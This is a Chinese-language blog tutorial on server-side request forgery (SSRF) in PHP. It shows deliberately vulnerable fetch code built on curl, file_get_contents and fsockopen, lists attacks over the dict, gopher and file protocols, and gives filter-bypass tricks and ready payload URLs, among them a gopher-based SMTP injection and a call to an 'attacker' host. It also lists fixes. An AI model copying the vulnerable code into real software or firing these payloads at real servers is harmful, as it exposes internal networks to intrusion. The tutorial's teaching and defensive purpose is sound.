PHP下的SSRF


前言

最近一段時間再找工作面試,然后hw也面試,就沒時間寫博客啥的,找工作還得面談,前天剛從廈門回來,明天又要去泉州了。但是我發現面試好像都喜歡問ssrf,那么我就想着寫一篇ssrf,然后看看有時間的話我順便寫下xxe這玩意兒。

0x01、SSRF

ssrf原理是啥?個人理解如下

ssrf是服務端請求偽造,顧名思義,就是服務端有功能點發起請求,但是沒有過濾用戶輸入的傳參,從而被攻擊者利用,對指定目標進行發起請求。而因為是服務端發起的請求,所以ssrf亦可以對內網中其他機器發起請求。

在哪里可以挖掘呢?從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等。利用的就是服務端的請求偽造。ssrf是利用存在缺陷的web應用作為代理攻擊遠程和本地的服務器。

1、漏洞的產生

在PHP中的curl()file_get_contents()fsockopen() 等函數是幾個主要產生ssrf漏洞的函數

1) curl()

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    #curl_setopt($ch,CUPLOPT_HEADER,1);
    curl_exec($ch);
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

function 定義一個函數,叫做curl,有一個參數,叫$url
curl_init() 初始化一個cURL會話后。將$url傳入curl_setopt($ch,CURLOPT_URL,$url);

(curl_setopt($ch, CURLOPT_HEADER, 1) 這邊是設定返回信息信息,是否要返回響應信息頭這里的話可以注釋掉)

注釋后的:

沒注釋的:

然后通過 curl_exec 發起一個請求,curl_exec詳細信息
然后這就是一個函數,接下來再設置一個get傳參為變量url,然后再把這個變量url代入前面所創建的那個 curl函數

2)file_get_contents()

<?php

if(isset($_POST['url']))
{
    $content=file_get_contents($_POST['url']);
    $filename='./images/'.rand().'.img';\
    file_put_contents($filename,$content);
    echo $_POST['url'];
    $img="<img src=\"".$filename."\"/>";

}
echo $img;
?>
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

file_get_content函數從用戶指定的url獲取內容,然后指定一個文件名進行保存,並展示給用戶。file_put_content函數把一個字符串寫入文件中。

3) fsockopen()

<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}?>

fsockopen 函數實現對用戶指定url數據的獲取,該函數使用socket(端口)跟服務器建立tcp連接,傳輸數據。變量host為主機名,port為端口,errstr表示錯誤信息將以字符串的信息返回,30為時限

注意

1. 一般情況下PHP不會開啟fopen的gopher wrapper
2. file_get_contents的gopher協議不能URL編碼
3. file_get_contents關於Gopher的302跳轉會出現bug,導致利用失敗
4. curl/libcurl 7.43 上gopher協議存在bug(%00截斷) 經測試7.49 可用
5. curl_exec() //默認不跟蹤跳轉,
6. file_get_contents() // file_get_contents支持 php://input協議

0x02、利用方式

2.協議
(1)file: 在有回顯的情況下,利用 file 協議可以讀取任意內容
(2)dict:泄露安裝軟件版本信息,查看端口,操作內網redis服務等

http://test.org/ssrf.php?url=dict://127.0.0.1:6379/info  //查看reids相關配置

如果ssrf.php中加上一行屏蔽回顯的代碼“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么這種方式就失效了,和gopher一樣,只能利用nc監聽端口,反彈傳輸數據了。

(3)gopher:gopher支持發出GET、POST請求:可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。可用於反彈shell
4)http/s:探測內網主機存活

0x03、修復方式

1、過濾返回的信息,如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標准。

2、統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠程服務器的端口狀態。

3、限制請求的端口,比如80,443,8080,8090。

4、禁止不常用的協議,僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp://等引起的問題

5、使用DNS緩存或者Host白名單的方式。

0x04、繞過方式

1、利用[::]

利用[::]繞過localhost
http://[::]:80/  >>>  http://127.0.0.1

2、利用@

http://example.com@127.0.0.1

3、利用短鏈接

http://dwz.cn/11SMa  >>>  http://127.0.0.1

4、修改類型

修改"type=file"為"type=url"
比如:
上傳圖片處修改上傳,將圖片文件修改為URL,即可能觸發SSRF

5、利用Enclosed alphanumerics

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

6、利用句號

127。0。0。1  >>>  127.0.0.1

7、利用進制轉換

可以是十六進制,八進制等。
115.239.210.26  >>>  16373751032
首先把這四段數字給分別轉成16進制,結果:73 ef d2 1a
然后把 73efd21a 這十六進制一起轉換成8進制
記得訪問的時候加0表示使用八進制(可以是一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣),十六進制加0x

8、利用協議

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM